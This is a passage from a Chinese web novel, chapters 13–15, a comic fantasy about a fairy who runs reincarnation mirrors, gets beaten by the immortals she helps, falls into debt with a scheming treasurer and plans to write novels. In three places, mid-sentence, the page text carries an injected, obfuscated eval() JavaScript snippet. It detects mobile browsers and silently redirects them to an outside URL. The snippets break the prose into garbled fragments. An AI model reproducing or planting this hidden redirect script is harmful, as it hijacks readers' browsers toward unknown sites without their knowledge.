鸣桐：“你、龙缨、百捷，吉吾都没忘，全记着呢。不过，龙缨和百捷已经被她找机会坑过了，就剩下你，所以你还是小心着点吧。” 灼春有点胆寒：“那我要小心多久？” “唔……以吉吾的记性……接下来七八年，你没事都别接触她的好。” 灼春：“……我今天才发现，成为仙者也避不开追求金钱的泥沼。” 鸣桐手肘碰她，问她怎么突然对钱在意了，就算吉吾要坑她，也不至于突然有这样深刻的感悟吧。灼春长叹一声，说了自己出二钱银子雇麻惠良留在情理所工作的事。 鸣桐惊讶：“可你一个月就一钱收入啊？剩下一钱你打算去哪儿赚？” “暂时没想好……” 灼春蓦地看向她，扑腾一下趴在地上五体投地。 “姐！您能先借我一钱银子吗？等我手头宽裕了马上还！” 鸣桐：“……” 她该说灼春还欠自己不少医药费吗？ 13. 模板进化 从鸣桐那里凑够了钱，灼春立刻给麻惠良送了去。见面的时候顺便问了下情理所的工作，得到一切顺利的答复后便放下心，回到轮回所。 往挂着金色风铃的轮回镜投入模板后，灼春没有立即传唤新的渡劫仙者，而是将重心放到了正历劫的其他四位仙者身上。 林鸿将新规定通知到位需要一定时间，现在门口还没有禁止告示，她才不要冒着生命危险工作嘞！在确认工作环境安全之前她不会再开工的！反正又不是她需要渡劫，她等得起！ 与此同时，灼春打量着目前投入的轮回镜模板，觉得还是不够方便。而且，同时运转五面镜子，法力填充上还是有些强人所难。可如果每次只运行一面轮回镜，那模板的重写就会浪费很多时间。 ——要是模板能以实体导入导出的话呢？ 几日后，林鸿以掌舵身份出台的新规正式贴在了轮回所的大门口，而且文件副本传到了每一位仙者手里，保证没有人不知道这条新规。 相睦会的仙者们三两成群凑在一起的时候，忍不住吐槽这条新规定。 仙者甲：“不是吧不是吧，真有仙者砸大家饭碗殴打司劫？太不讲理了吧！” 仙者乙：“你不知道战神上次怎么闹的啊？我听说就是针对她出的呢！” 仙者丙：“哪儿啊！掌舵怎会因为一个人特意立法啊！一定是这个事儿严重成一个现象了才不得不出规定整顿的！” 仙者乙：“诶我想起来了！上次闹得挺凶的一次，好像不止战神一个，还有……她手下的牛执司！” 仙者甲：“你这么一说……话说轮回所新开张不少时日了吧？据说第一个渡劫的仙者已经出来了——就是牛执司？——合着他们斗武殿全是白眼狼啊！？借了司劫的力，扭头就翻脸不认人还打人？！” 仙者丙：“哎你说归说，污蔑我们斗武殿干什么！警告你，个人行为不要上升部门噢！” 仙者甲：“我哪儿污蔑了？翻脸不认人的仙者是不是都你们斗武殿的？我说实话怎么就成污蔑了，难不成被说中了你心虚啊？” 两位仙者一言不合立刻到练武场相约干架。 作为被新规保护的当事人灼春，隐约听说会里因为出台新规，到练武场切磋的人数激增，但她没想明白其中的联系便适时放弃了思考。 目前她需要担心的一件事就是，第二位渡劫仙者快于预期时间，马上要从挂绿色风铃的轮回镜里出来了。 灼春啃着手指甲在轮回镜“小绿”附近转圈走。 根据经验，这个仙者出来也会翻脸殴打自己……不行不行，她被牛执司和战神殴打的伤还没好全，要是再挨一下得遭多少难……活着那么痛苦还不如把她打死呢！ 灼春考虑着要不要趁人还没出关先跑远点，等她反应过来，发现自己已经站在轮回所大门外了。 她扭头看了眼所内，心虚地想要不就走了，可是残存的一丝理智阻止着她的脚步——不能走！即将出关的时候是渡劫关键时期！如果不看好，渡劫仙者很可能一念之差身陨道消！小绿里的仙者是可以不用管了，但还有三位仙者不得不管啊！ 灼春脑内天人交战，一面是自身安危，另一面是司劫的责任……难道就没有两全其美的办法吗？ “哟，灼春哪！怎么不进屋里站外面啊？” 灼春正在纠结，忽然看见扛着狼牙棒巡逻的百捷走过来，忍不住向她吐苦水。 “……司劫这活真不是人干的！欸，我要是你就好了，每天溜达一下工作就完成了……” 百捷好笑：“你到底咋了？有谁欺负你了？跟姐说，姐给你报仇去！” 灼春灵光一闪，对啊，她有百捷啊！ 她二话不说冲过去抱百捷大腿直哭嚷：“姐啊！救命啊！我怀疑有人要打我！” “哈？谁这么不长眼敢在我的地盘上撒野！？”百捷撸起袖子就要开干。 “还没动手呢，你先缓缓！”灼春拉着她进轮回所。 “还没打啊？那我——哎你拉我进屋干啥？我还得巡逻呢！” “你稍等，我也只是怀疑，也有可能没事……” 无巧不成书，灼春刚拉着百捷进去，所内的绿色风铃便铃铃铃地响了起来，紧接着镜中仙者便晃晃悠悠地踏出脚步。 百捷摩挲着下巴，不无感慨：“灼春你可真行，在你这里渡劫的人实力翻番啊！早知如此你当什么偶仙，司劫才是真正适合你的岗位啊！” 灼春见那仙者环顾四周，最后将眼神固定在自己这，浑身上下一阵幻痛，立刻缩在百捷身后。那仙者黑着脸透过百捷死死盯着隐藏了身形的灼春，大步向前想把她揪出来，百捷一把摁住她的手—— “干什么呀？当我瞎的？挑衅我？” 百捷才不管对方什么情绪想辩解什么，当即将人双手一拧反扣到后背，压着去见掌舵。 “不过渡了个劫，真当自己天下无敌，都敢踩到我头上了？——哎哟你还敢挣扎！好家伙！咱去练武场单挑！——不接茬还当我怕了你……” 百捷擒着人离开，随着她嘈嘈的大嗓门渺远去，灼春悬着的心终于掉下。 终于没挨揍了！泪奔…… 不过这事给她提了个醒，如果要避免接下来可能出现的三回殴打，她得想办法找能压得住对方的人来轮回所镇场。 这个人选就不用着急了——百捷一个能抵千军万马！ 灼春难得悠闲了起来，在剩下三面分别挂着蓝色风铃、红色风铃、棕褐色风铃的轮回镜前方来回踱步，调整了三面镜子的时间流速，将出关的时间错开。 双拳难敌四手，百捷就一个人，这里有三个对手。要是三位仙者联合，争执中百捷漏了空隙，自己指不定还得挨揍。 剩下的三位，风铃最先有动静的是“小棕”，灼春赶紧给百捷传音让她赶紧过来。等待过程中她下意识跑到了门口，百捷不在，她可不敢独自面对凶残的同僚。 在轮回所门口翘首以盼，没等来巡逻的百捷，倒等来了刚从练武场结束训练的战神龙缨。 灼春猛地后退三步。 天哪怎么又是她！？她怎么老在练武场！？该不会为了揍自己而天天搁这守株待兔吧！？ 不出其所料，龙缨一看见她就变了神色怒气冲冲地扑击来。灼春躲闪不及，哀嚎着受了好几下打，但她也不敢进屋，谁知道小棕啥时候把人吐出来，万一和上次一样来个前后夹击她还要不要活了！ 幸运的是，这次没挨多久打她就得救了——百捷及时赶到救出灼春，然后跟战神斗着斗着进练武场了。 灼春在后头呼唤百捷回来，但专注战斗的百捷根本听不见其他声音。 灼春慌了。 百捷和战神杠上，那谁来帮她抵挡即将出关的仙者啊？ 轮回所里风铃的声音越来越响亮，灼春站在大门外听得越来越清楚，而她的脑子也越来越混沌，几乎停止思考。 天要亡她啊！她这一生好吃懒做游手好闲无所事事……可她从没干过坏事啊！——除了欠钱不还——老天不能这么伤害她吧？再怎么说她也是修炼有道的仙者，没有功劳还没有苦劳吗？欠钱不还又不是啥大事，她就欠鸣桐钱嘛！大不了、大不了她回头卖身还债，别总让她现在这样成天当人肉沙包啊！ ——啊。 灼春突然抓住了一个关键词——“钱”。 金钱殿就在附近，吉吾八成在。 她二话不说拔腿就跑，冲进金钱殿就对上首拨算盘的吉吾一顿输出，胡扯了些什么她也记不清，反正就是一些有人在轮回所搞破坏，想倒逼金钱殿拨款维修云云。 听到有人觊觎金钱殿的财富，吉吾当场拍案而起，径直前往轮回所，想会会那个传说中敢坑金钱殿金钱的贼老鼠。 灼春躲在轮回所门外，看着吉吾走进轮回所，很快就听见风铃声停下，所内爆发了一阵兵荒马乱的争斗。片刻后，吉吾鼻青脸肿地拨着算盘走出来，渡劫结束的仙者紧随其后。只是后面的仙者虽然一点伤都没有，但垂头丧气，仿佛挨了一通打的是她似的。 灼春见状，把自己藏得更好了。直到吉吾她们不见了身影，她才缩头缩脑地回去轮回所内。 然而她气才松了一半，就收到吉吾发来的罚款单，扣款事项注明是“使用欺骗手段取得司库吉吾的帮助，令其受伤”，下方误工费、医药费、精神损失费等等列了长长一条，而且最后一行还有温馨提示——今日内不还清，每延迟一天，需缴滞纳金，按六厘标准计算。 “……” 灼春身体不疼了，但钱包疼。 灼春问鸣桐借到钱填上吉吾的大坑后，悲戚地坐在轮回所内，看着还在运转的小蓝和小红，忽然恶向胆边生，在最后阶段往轮回镜里塞了不少情劫之外的劫难。 横竖都是死，她死也要拉个垫背的！痛一个不亏，痛两个血赚！让他们感受下来自人肉沙包的无尽悲愤吧！！ 灼春破罐破摔，给轮回镜提升完难度后，又把两位出关时间调到一块。 长痛不如短痛，钝刀磨肉不如来个痛快！ 虽然做好了挨打的准备，但临了临了她还是怕疼，思前想后，最终抽空自己的灵台，化作一副薄如纸片但覆盖全身的盔甲。 薄是薄了点，多少能抵消一点伤害。 林鸿来到轮回所的时候，就看见把眼睛都防护到位的盔甲版本灼春，抱着自己缩在办公桌下如同一座金钟。 林鸿：“……我尊重你个人的怪癖，但你工作期间能不能正常一点？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950203|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被外人看见了还以为他们是什么怪人，影响相睦会形象。 “我没有需要别人尊重的怪癖！” 灼春从桌子下爬出来，爬得太急，出来的时候后脑勺还在桌沿磕了一下——但是有头盔！哎嘿，一点都不疼！ “找我有事儿吗？” 灼春叮铃嘡啷地拖着盔甲坐到桌后椅子上，一本正经地问林鸿。后者自然地坐到灼春对面，掏出一叠单子。 灼春一边接手一边问这是什么。 “投诉单，全是投诉你的。”林鸿指着那一沓单子说，“有投诉你践踏花花草草的，投诉你吃饭前不洗手的，投诉你穿衣品味太差有碍市容的……” 灼春看了小半就忍不住翻白眼：“不是，咱们会里那么闲吗？这些有必要特意投诉吗？” “并不。所以我才来找你，希望你严于律己，不要让同事抽空投诉你。” 灼春气极反笑：“老大，你拉偏架也得有个章法吧？这些投诉有一个靠谱的吗？都是欲加之罪，你让我怎么严于律己？辞职跑路吗？” “哎哎哎，说正事，不要老是说这种消极的气话。” 说话间，轮回镜上的蓝色风铃和红色风铃剧烈晃动起来，不多时，最后两位渡劫仙者顺利出关，气场比之前三位强，脸色也比之前三位黑。与之前三位如出一辙的是，看见灼春立刻捏紧拳头。 “同事之间要和睦相处，不要动手动脚！” 林鸿在她们动手前厉声呵斥，两位仙者这才反应过来掌舵也在，强行压住脾气，抱拳告辞。但从二人离开的背影可以看到，她们肉眼可见地气成了河豚。等她们走出去瞧见大门上禁止殴打司劫的告示后，立刻被气成黑色的河豚。 两位仙者离开后，轮回所恢复了寂静。 林鸿刚想开口，忽然接收到几条信息。她调动法阵将信息具象化成文件，看清内容后哼笑一声，递给灼春看。 “瞧见了没？又是投诉你的，投诉人就是刚刚的那两位。” 灼春：“……” “这些投诉单都是你帮忙司劫的仙者送来的，知道这代表什么吗？” 灼春无语：“代表他们都是小心眼的白眼狼。” 林鸿：“……” 林鸿无奈：“我知道你尽职尽责，司劫效果确实很好。但工作要注意方式方法，不能一味埋头苦干，也要关心一下渡劫仙者的内心世界……” 林鸿就如何平衡工作与同事关系发表长篇大论，但因为太长，她刚说两句，灼春就被动神游天外了。 神游归神游，多年的工作经验让灼春在神游的同时还表现出认真听讲的假象，看着林鸿的眼神澄澈明亮，时不时点头表示认可。 这种假象直接导致林鸿真以为灼春听进去了，心满意足地结束演讲，表示她也会做那些仙者的思想工作，促进大家的互相理解，不要小肚鸡肠、斤斤计较。 灼春：“……啊老大等一下！” 看见林鸿起身要走，灼春猛地回神。 林鸿：“嗯？” 灼春诉苦：“老大，我在轮回所工作老是碰上战神，她每次见我都要动手，导致我出门工作的压力非常大！已经严重影响到我的工作情绪，再这样下去，我怕我……实在没有毅力坚持工作了嘤嘤嘤……” 林鸿沉吟片刻：“你放心，我会找机会再和战神聊聊，让她放下个人情绪，不要妨碍你工作……” “啊，我倒也不是这个意思。” 灼春心想，要是谈话有用，她也不用被战神痛扁那么多次。谈话这个方式，除了增加对方对自己的仇恨，似乎没有别的作用。 灼春搓着手语气讨好：“我觉得我不适合在这里工作——我能不能把轮回镜搬回家居家办公？我保证居家办公会使我的办事效率更高！” 林鸿无情驳回：“不可能。轮回镜是神器，怎么可能让你全搬走？五面轮回镜，你顾得过来吗？万一磕着碰着弄坏了，你当牛做马一万年也无法挽回损失！” “不用全搬走！我就带走一面！我那么大个人，管一面镜子还做不到？” 只要一面？这……倒可以考虑，但…… 林鸿疑惑：“就一面轮回镜，你来得及吗？” “来得及来得及！” 灼春立刻变出一块比手掌略大的磨盘一样的环形圆盘，使尽浑身解数说服林鸿。 “这是我发明的‘灵盘’，每一块灵盘里都装了一套劫数丰富的历劫模板，等仙者历劫的时候根据个人喜好挑选相应灵盘，放置在轮回镜上，就能自动运行。我只要控制时间流速，再在渡劫仙者心态产生偏移的时候因人而异地增减劫数、调整难度，就能在极短时间内完成一次渡劫！如果全力以赴，预计一天就能完成一位仙者！……” 14. 致富之道 龙缨意外发现，偶仙——啊不，应该是司劫——很久没在轮回所出现了。 是从什么时候开始的呢？ 嗯……大约是半月前，兽医仙带着她的小伙伴们把一面轮回镜搬走之后。哦对了，连轮回所门口那份禁止殴打司劫的告示原件也被撕下带走了。 灼春……司劫…… “嘭！” 龙缨没控制好力道，一拳打去，练武场的地面顷刻间四分五裂，偶尔飞溅起的碎石差点伤着刚进场的吉吾。 吉吾心疼地捏紧算盘，一边喊人搬碎石，一边和战神问号。 吉吾强笑：“战神啊，您有没有觉得，自己最近的训练强度和频率有点……过了？” “……”龙缨攥了攥自己的拳头，摇头，“没有，现在的训练程度刚好。” 吉吾：“可是斗武殿的同僚们跟着您这样训练，几乎全军覆没，都被拉练残了呢？” “……” 龙缨这才意识到，已经好多天没有属下跟着她训练了。 原来是练残了？ 吉吾故作轻松：“其实我是金钱殿的，管不着你们斗武殿的工作方式，但是——战神啊，你老是破坏练武场及其器械，这个月才过了七天，我们金钱殿已经掏钱维护修理了十二次，人力财力上有很大困扰，请你稍微体谅一下我们好吗？赚钱很难的，维持整个相睦会的运行很难的！” 说到后来，吉吾根本装不了云淡风轻，字字咬牙，声声泣血，脸上每一块皮肉都在陈诉掏钱的艰难苦痛。 “……抱歉。” 说话期间，吉吾带来的人已经迅速将练武场修复好，毁坏的训练武器也已补全。 吉吾心累地招呼属下们离开，刚转身，就听见噼里啪啦一阵嘈杂，回头一看，是龙缨又把一套武器练废了，受了重击的那侧墙壁破得能镶一面巨大的落地窗了。 吉吾：“……” “……抱歉，下次我再收收力。” 对上吉吾悲愤眼神的龙缨，赧然地挪开视线。 还没走远的下属听见声后凑过来问吉吾要不要吉吾收拾练武场，吉吾长叹一声：“……整吧。” “……” “——啊对了记得把废料收好，回头拿去工地里卖钱。” 下属们：“收到！” 这日，一个不速之客到访了灼春家。 “不是说明天来吗？我这就一面轮回镜，你今天来也没——吉吾！？” 正在观测镜中仙者人生的灼春，抬眼看见来人不是预约的仙者，而且钱串子吉吾，惊呼一声下意识把家里所有值钱的物件拢起来挡住。 灼春紧张道：“你来干嘛！之前的罚单鸣桐不都替我给了嘛！我没钱给你了啊！” “别紧张，我是来和你聊聊的。”知道自己不受待见，所以吉吾安静地站在原地，不给主人家造成压力。 见其是要正经说事的样子，灼春狐疑地扫她一眼又一眼，将轮回镜的流速调到最慢，然后示意吉吾坐到自己对面聊。 吉吾平静道：“时间就是金钱，我也不耽误大家时间，直入主题——给你多少钱你才愿意当龙缨的陪练，开价吧。” “……” 灼春张大嘴呆滞片刻，接着抠了抠耳朵，道：“不好意思，我可能是工作太累产生幻听了，刚刚居然幻听你让我去当战神的沙包，麻烦你再……” “你没听错，”吉吾郑重重复，“我说，让你当龙缨的陪练，价格你开。” “陪你大爷的练！开你孙子的价！你钱多没地方花了想看人玩命啊！老大跟你学抠门，你跟凤脊学坑人！？” 灼春当场发作，指着吉吾鼻子一顿臭骂。但吉吾本人倒是挺淡然，灼春骂的时候还自己给自己斟了一杯茶。等对方发泄完，才不紧不慢地说出自己的想法。 “我研究过了，自从你换了工作地点不去轮回所，练武场的财物损耗就呈几何指数增长。” 灼春觉得好笑：“这和我有关系吗？我又不去练武场，东西又不是我弄坏的，凭什么惩罚我？” 吉吾：“据我分析，就是因为龙缨没机会找你切磋武艺，所以她就移情到了斗武殿其他同僚身上。但是执司们都扛不住她造，除了外派巡逻的百捷，没一个能直立行走的。同僚指望不上后，龙缨就转向练武场的训练设备，于是给金钱殿的账目造成严重打击。” “……啊？” 吉吾：“所以我认为，花钱雇你当龙缨的陪练，是一件一本万利的生意。——当然，不用每天都去。根据经验的推算，你只要每四天去龙缨面前出现一下，就能达到消耗其多余精力的目的。” “……你疯了，或者是我疯了。”灼春摇摇头，探了探自己额头的温度，靠在椅背上，“吉吾，少忽悠我，你当我不知道？我哪是每四天去战神面前晃一下？分明是每四天濒死一回！我还没那么无私，用自己的安危换取天下的太平……” “每被龙缨打一次，给你一钱。” “……” 其实就算不答应，平常未必碰不见龙缨喔……如果不答应，那每次都是白挨打，如果答应了，起码还有点…… 灼春猛地扇了自己一巴掌，然后捂着红肿的脸含泪拒绝了吉吾的收买。 吉吾：“……” 静默许久，吉吾不轻不重地叹息道：“你在鸣桐那儿欠了不少债，我还以为你会愧疚，积极想办法还钱，目前看来是我高看你了……唉，升米恩斗米仇，希望鸣桐日后不要后悔自己的善良啊……那没事了，在下告辞。” 灼春：“……” 明的不行改攻心了？ 好家伙，你们玩战术的心都脏！ 不过，没想到吧？只要她没有心，使用攻心术只能得到成功闪避！ 吉吾从灼春那儿铩羽而归后，就开始琢磨其他有效降低财务支出的举措。 有一条是确定的，就是因为灼春给龙缨司劫的时候给她造成了精神冲击，所以龙缨心里始终憋着一股气，不泄掉就会破坏公共财产。 一般而言找些耐打的人给她陪练泄火就行，但是会里现在能打的不多，斗武殿的还全倒下了…… 吉吾灵光一现，去慎刑殿借了一批罪大恶极且不知悔改的罪犯出来，送给龙缨打着玩。那些刺头在龙缨手下走了一遭，个个脱胎换骨，哭着喊着认错，什么刑罚都认，死也心甘情愿，只求不要再见战神。 慎刑殿的代理掌刑很欣慰，拉着吉吾的手感谢不已，说他们对这些刺头罪犯不知怎么办，杀不了罚不怕，活着关牢里浪费伙食和空间，劳改更是无法进行，创造不了一点价值，就是吞金的烫手山芋。现在可好了，经过战神的打磨，这帮人总算有了点听话的苗头，可以进行劳改了。 吉吾一边说着客气的场面话，一边和代理掌刑拟定合同，确认这些罪犯的劳改收益五五分成。 吉吾： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950204|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为了赚更多的钱啊不是——为了让这些罪犯更深刻地反省，创造更多的价值，弥补犯下的错误，我认为咱们可以把劳改时间从四个时辰延长到十个时辰，剩下两个时辰给他们吃喝拉撒睡。噢不用担心，他们这些罪犯都是修炼到相当程度的修仙者，休息两个时辰，足够他们以极限状态制造极限价值了。” 代理掌刑有点犹豫：“这样会不会太不人道？” 吉吾微笑：“不人道？掌刑，他们制造的受害者不计其数，你不心疼受害者，反而心疼施暴者，这合乎情理吗？” 看看那些罪犯的罪状，哪一个不是恶贯满盈、十恶不赦、罪不容诛、死有余辜？当他们不以为意地犯罪，事后还毫无悔意，他们就已经丧失作为人的资格，谈何人道？真以为他们现在是真心悔改吗？不，他们只是畏惧于□□的苦楚，不得已而屈服。 对待这种人，再怎么过分都不过分。 代理掌刑意外于她的想法，虽然并不怎么认同，但……罢了，他就是个代理，这档子破事等资具考结束后让新上任的掌刑判断去吧！既然吉吾仙者这么说，那就这么做呗。 慎刑殿的犯人挨个儿轮了一遍，连半个月都撑不到。无人可用，吉吾又开始思考新的对策。 拒绝了吉吾以后，灼春心里其实有点后悔。 首先，她真的缺钱。 其次，虽然不愿承认，但吉吾临走前留下的攻心计确实影响了她……虽然就一丢丢丢丢。灼春不想因为自己而令鸣桐动摇，产生好心只会让自己吃亏的错误认知。 于是她在家里一直胆战心惊地等待着，等着吉吾拿更高的价格来说服自己。 不过时间一天天过去，她渡劫文牒上的预约仙者都快轮完了，也没等来吉吾。 奇怪，难道是她错估了战神对自己的恨意？还是战神后继无力了？ 出于好奇，灼春偷偷向鸣桐打听内情，后者十分乐意分享手头的情报。 “……吉吾跟慎刑殿达成协议后，慎刑殿再没有适合的罪犯出借，于是吉吾就和会外的一些工程队合作，把龙缨借出去伐木开山，按工作量计费——据说吉吾靠着龙缨赚得盆满钵满呢！” 灼春除了惊讶就是佩服。 不愧是管钱的，这生意头脑……要是她不当司库，八成得是什么难杀的□□一把手吧？还好被老大笼络来干正事了啊…… 鸣桐拍了下脑袋：“你最近不是想赚钱但是没头绪吗？吉吾这方面最拿手，不如你去请教请教她？” 想到吉吾恐怖的坑钱超能力，灼春忍不住打退堂鼓：“别了吧……用脚趾头想都知道，要从她那里得到点什么，首先我的钱包必会大出血！那家伙为了坑钱什么名头编不出？说不定胡诌个什么什么……‘请教费’！算了算了，我自己想辙吧……” 主要还有一点，之前她刚落了人家面子，就算她肯冒险去问，没准人家还不乐意搭理。 不理自己还算好的结果，如果以最大的恶意去揣测吉吾——保不齐钱被坑了，赚钱渠道还知不道一条！唔，对，赔了夫人又折兵的结局才是最有可能的！ “但是灼春，你得知道世上没有空手套白狼的好事。付出不一定有回报，不付出一定没回报。”鸣桐好声好气地开解她，“吉吾虽然……爱财了点，但她信誉很好，拿多少钱干多少事，绝不含糊。如果你能从她那里找到切实可行的致富之道，前期付出的一点点请教费眨眼就挣回来了。” 15. 没想冒险 灼春被说服了。 做了一晚上的心理建设，次日，灼春抱着倾家荡产的思想觉悟找上了吉吾。 金钱殿内，吉吾轻快地拨着算盘，眉目舒展，隐隐约约能听到在哼愉悦的小曲儿。 看起来心情很好，也许正是说话的好时候！ 灼春这样想着，挂上笑脸主动寒暄。 吉吾手上动作不停，抽空瞅她一眼后继续低头做事。 “偶仙呐，稀客哦？我这正忙，要是拨款的请求麻烦左转直走第三间，跟葛执司协商。” “我找你就只能是公事吗？咱姐俩认识那么久了，我就不能找你唠会儿磕？” 灼春强行装出一副潇洒风流的模样单手倚在桌边，十指交叠拗造型。 吉吾瞥她一眼，看见她十个指尖全发白了，内心轻嗤，嘴上淡定道：“我的出场费很贵，一刻钟十五文。” 灼春身子一僵，掏出钱袋，当真老老实实地在桌上排出十五个铜板——不对，还差十文。 “那就唠五文钱的。” 吉吾停下工作，将铜板一个一个捡起来：“想聊什么呢，亲。” “呃……” 啥都没问就花了一笔不小的费用，灼春想了想，没敢直接问赚钱的途径，决定迂回—— “嘿嘿……最近赚了不少钱哈？独乐乐不如众乐乐，带姐们一起发财呗？” 话刚出口，灼春就悔得恨不能扇自己两个嘴巴子。 迂回迂回！迂的哪门子的回！就差拿大喇叭贴在人耳朵边说“我缺钱想赚钱”了吧！？ 吉吾眯起眼，露出看透一切的微笑。 “你……想赚钱？” 灼春老脸一热，一言不发胡乱点头。 吉吾笑容更大了：“咨询费，一钱，包你赚钱。” “……”灼春腰一闪，造型没拗住，“我刚不是付过钱了？怎么还有付费项目！？” “聊天是聊天，咨询是咨询。你要咨询问题，那就得另外付钱。知识付费时代，知识也是一种珍贵资源呢。” “能不能……便宜点？” “我多希望我能，可惜我不想。”吉吾一脸坦荡，“我知道你不知道的东西，所以定价权归我。顺带一提，一钱银子是限时福利，等你之前付的五文钱时间过去，就会恢复原价变成一两银子哦？抓紧时间呢，供你考虑的时间只剩一百一十五秒、一百一十四秒、一百一十三秒……” 灼春：“！！” “等等等等！我买！” 灼春将钱袋打开，开口朝下一股脑儿全倒在桌上，若干铜板噼里啪啦摔了出来，还有几枚嗡嗡嗡地抖肩好一会儿才停下。 吉吾眼睛一眯就知道桌上铜板的数量：“这里只有三十四文，远远不够呢，亲爱的偶仙。” 灼春闭眼耍无赖：“反正我就这么多，你给我个不那么贵的答案就好了！” “那么我只能给你三十四文的答案哦？确定吗？” “行了你说吧！” 吉吾捡完铜板，清了清喉咙，回答道：“要想赚钱，就要善于发现，善于利用。要发现自己会但别人不会的东西，并将它们转换为财富。” 灼春点头：“嗯，有道理，然后呢？” “没了。” “……没了？” “没了。” “就这么两句话，没有具体措施吗？” “具体措施在你未支付的六十六文里。” “你！！奸商！！” “名誉损失费十文，承惠。” “！！” 灼春长吸一口气，压下即将爆炸的情绪，再次赔笑：“吉吾姐，我错了，我收回，你饶了我吧……” 吉吾平摊的手掌被她一点点卷回去。 灼春：“姐，刚刚那些钱就算孝敬你了，我也不指望发什么大财，您就带着我，把我当龙缨那样租出去，到手的钱咱俩对半劈咋样？” 吉吾问她想怎么租，灼春直言：“我不挑！能赚钱就行！出卖劳力搬砖我也没有怨言！” “可是你的有效劳力稀少得可以忽略不计，白给都没买家。”吉吾说得更直白，语气还异常真诚，“偶仙，你觉得你能和战神相提并论吗？” 灼春：“……怎么说我也是个仙者，总比普通人好点吧？” 吉吾叹气：“刚刚三十四文钱买的建议你是一点没放在心上啊……我不是和你说了吗？要发现自己的长处，以己之长攻彼之短，充分利用自己的优势，赛道不同不要硬比。” “……那我的优势是——”灼春顺着她的话思考，“保媒拉纤？” 吉吾：“……恕我直言，您当偶仙当得真不咋地。” “那我有什么优势嘛！——诶，难道是帮人渡劫？”灼春愣住，“可我兼任司劫，工作就是这个，哪有挣钱的机会啊！难不成要我把劫数按难度和价格分三六九等朝人要钱？” “哎哎哎！说什么呢！我可没说假公济私啊！小心慎刑殿的人听见了把我们俩都逮起来。”吉吾连忙制止她，“这样吧……我吃点亏，让你赊账与我做个交易，你要是同意，我就给你指条明路。要是不愿意……那就请走吧，倒贴不符合鄙人作风。” “……怎么赊账？什么交易？我怎么知道你给我指的路能不能赚到钱？” 为了让灼春安心，吉吾当即草拟了一份合同，把自己的名先签好再递给她。 吉吾：“看好了，我现在给你想一个可持续性挣钱的计策，但你用这个法子挣的第一桶金归我。我们俩利益相关，也就是说，我教你挣更多钱，我自己就能挣更多钱，所以为了我自己能挣更多钱，我必须让你挣到更多钱。——这你放心了？” 如果是这样，自己听起来确实不亏…… 灼春赚钱心切，再加上之前鸣桐肯定了吉吾的信誉，放弃思考，直接在合同上签了字。 签完字，灼春迫不及待地向吉吾讨主意。吉吾也不藏私，收起合同，把脑袋凑过去，低声说道：“其实吧，你的创造力很好，编出来的劫难都能把平和的战神逼急了，而且找你司劫的有一个算一个，都对你恨之入骨！你瞧瞧你这能力，多棒！多逆天！” “……” 灼春听着听着，脸上期待着听到挣钱金点子的笑就凝固了。 不是，这是夸她还是损她？ 不管那个，她也没明白自己能干什么啊？ 灼春眼角一抽：“你该不会告诉我……这就说完了？” 吉吾不可思议道：“我都把话说得这么明白了你还是不明白？看到我的手了吗？我就差把钱放你手上了啊！” “你……你还是说得再白一点吧！当我白痴！” 吉吾扶额：“你编故事，卖话本去啊！” “……哈？” 灼春本能拒绝：“我不会我不行！我哪会编话本啊！不行不行，我脑子一点想法都没有！写什么啊！” 吉吾恨铁不成钢：“找你渡劫的人那么多，你随便找一个，把他镜中的经历写出来不就是个故事了吗？连构思的麻烦都省了！这还不容易？” 灼春忍不住捂她的嘴，小声惊呼：“你疯啦！？仙者渡劫的经历都是秘密，哪怕只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且司劫的工作也不能歇太久……唉，就算有灵盘，自己也要经常守在轮回镜前观看仙者渡劫，防止仙者心境跟不上，遗忘初心失去本心，落得身陨道消的结果……如果灵盘能实现根据仙者自身承受力智能调整难度该多好…… 灼春叹了口气，开始打磨现有的几枚灵盘，将模板更新完善，内部逻辑衔接得更恰当。尽管不能实现它自身的智能调整，但模板详细一点，她之后司劫的时候就可以少费心思和法力，在轮回镜上的关注也可以少点，腾出更多休息的时间。而休息时间腾出来，她就能用于与天道玩话本的推拉游戏了。 灼春之前草草刻了三枚灵盘，都包含基础的五毒六欲七情八苦九难，只是主题不同，重心劫数不一，有侧重爱情劫的，也有侧重亲情劫的，还有侧重疾病劫的。对于仙者历劫来说够用了，就是劳累她，一个时辰的渡劫，要看三分之二的时间，三分之二的时间里有一半时间需要手动调整劫数质量。 现在三枚灵盘经过她二次打磨，看顾的时间从三分之二降到二分之一，需要手动控制的时间也以相应比例下降。再进行检查完善，依赖自己的时长说不定还能降一降。 只是…… 灼春随意拿起一枚灵盘摩挲。 她还是想尝试“无人司劫”的灵盘智能运行模式。 灼春休息片刻后，放弃了三枚灵盘的同时打磨，专注于其中一枚，朝着“无人司劫”的方向改进、补全。 